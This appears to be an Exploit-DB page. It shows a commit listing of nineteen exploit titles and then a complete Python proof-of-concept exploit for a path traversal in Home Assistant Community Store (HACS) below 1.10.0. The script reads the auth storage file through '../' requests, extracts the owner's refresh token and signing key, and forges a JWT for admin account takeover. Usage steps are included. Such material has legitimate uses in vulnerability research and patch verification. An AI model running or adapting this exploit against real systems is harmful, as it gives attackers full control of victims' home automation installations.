27af25c8c3
19 changes to exploits/shellcodes jQuery UI 1.12.1 - Denial of Service (DoS) Nsasoft Hardware Software Inventory 1.6.4.0 - 'multiple' Denial of Service (PoC) Solaris 10 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3) Microsoft Exchange 2019 - Server-Side Request Forgery KZTech T3500V 4G LTE CPE 2.0.1 - Weak Default WiFi Password Algorithm MyBB Timeline Plugin 1.0 - Persistent Cross-Site Scripting CMSUno 1.6.2 - 'lang' Remote Code Execution (Authenticated) WordPress Plugin SuperForms 4.9 - Arbitrary File Upload Home Assistant Community Store (HACS) 1.10.0 - Directory Traversal SonicWall SSL-VPN 8.0.0.0 - 'visualdoor' Remote Code Execution (Unauthenticated) Web Based Quiz System 1.0 - 'MCQ options' Persistent Cross-Site Scripting Online Ordering System 1.0 - Arbitrary File Upload Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated) CouchCMS 2.2.1 - Persistent Cross-Site Scripting Microsoft Exchange 2019 - Server-Side Request Forgery (Proxylogon) (PoC) MagpieRSS 0.72 - 'url' Command Injection CouchCMS 2.2.1 - Server-Side Request Forgery GetSimple CMS My SMTP Contact Plugin 1.1.2 - Persistent Cross-Site Scripting Montiorr 1.7.6m - Persistent Cross-Site Scripting
86 lines
No EOL
3.1 KiB
Python
Executable file
86 lines
No EOL
3.1 KiB
Python
Executable file
# Exploit Title: Home Assistant Community Store (HACS) 1.10.0 - Path Traversal to Account Takeover
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# Date: 2021-01-28
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# Exploit Author: Lyghtnox
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# Vendor Homepage: https://www.home-assistant.io/
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# Software Link: https://github.com/hacs/integration
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# Version: < 1.10.0
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# Tested on: Raspbian + Home Assistant 2021.1.0
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# Blog post: https://lyghtnox.gitlab.io/posts/hacs-exploit/
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# STEP 1: Run the exploit (python3 exploit.py host port)
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# STEP 2: Copy the token printed and set in your browser's local storage with
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# the key `hassTokens`
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import requests
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import jwt
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import json
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import argparse
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class HA:
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def __init__(self, ip, port):
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self.ip = ip
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self.port = port
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def retrieveFile(self, f):
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url = f'http://{self.ip}:{self.port}/hacsfiles/../../{f}'
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with requests.Session() as s:
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r = requests.Request(method='GET', url=url)
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prep = r.prepare()
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prep.url = url
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try:
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r = s.send(prep, verify=False)
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except requests.exceptions.ConnectionError:
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return
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if r.status_code == 400 or r.status_code == 404:
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return
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return r
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def craftToken(self):
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f = self.retrieveFile('.storage/auth').json()
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# Find owner
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for user in f['data']['users']:
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if user['is_owner']:
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self.owner = user['id']
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break
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else:
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print("No owner found. Using first account")
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self.owner = f['data']['users'][0]['id']
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for token in f['data']['refresh_tokens']:
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if self.owner == token['user_id']:
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encoded_jwt = jwt.encode({'iss': token['id']},
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token['jwt_key'],
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algorithm="HS256")
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self.token = {'access_token': encoded_jwt,
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'token_type': 'Bearer',
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'refresh_token': token['token'],
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'expires_in': 1800,
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'hassUrl': f"http://{self.ip}:{self.port}",
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'clientId': token['client_id']}
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return self.token
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if __name__ == "__main__":
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parser = argparse.ArgumentParser(description="Exploit a vulnerability in \
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HACS < 1.10.0 to gain admin access to an Home Assistant instance.")
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parser.add_argument("host", type=str, help="IP of the HASS instance")
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parser.add_argument("port", type=int, help="port of the HASS instance")
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args = parser.parse_args()
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r = requests.get('http://{ip}:{port}/hacsfiles/iconset.js'.format(
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ip=args.host,
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port=args.port))
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if r.status_code != 404:
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print("HACS found! Testing vulnerability...", end='', flush=True)
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ha = HA(args.host, args.port)
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if ha.retrieveFile('configuration.yaml'):
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print(": VULNERABLE")
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token = ha.craftToken()
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if token:
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print(f"Use the following 'hassTokens': {json.dumps(token)}")
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else:
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print("Unable to craft token")
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else:
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print(": Not vulnerable") |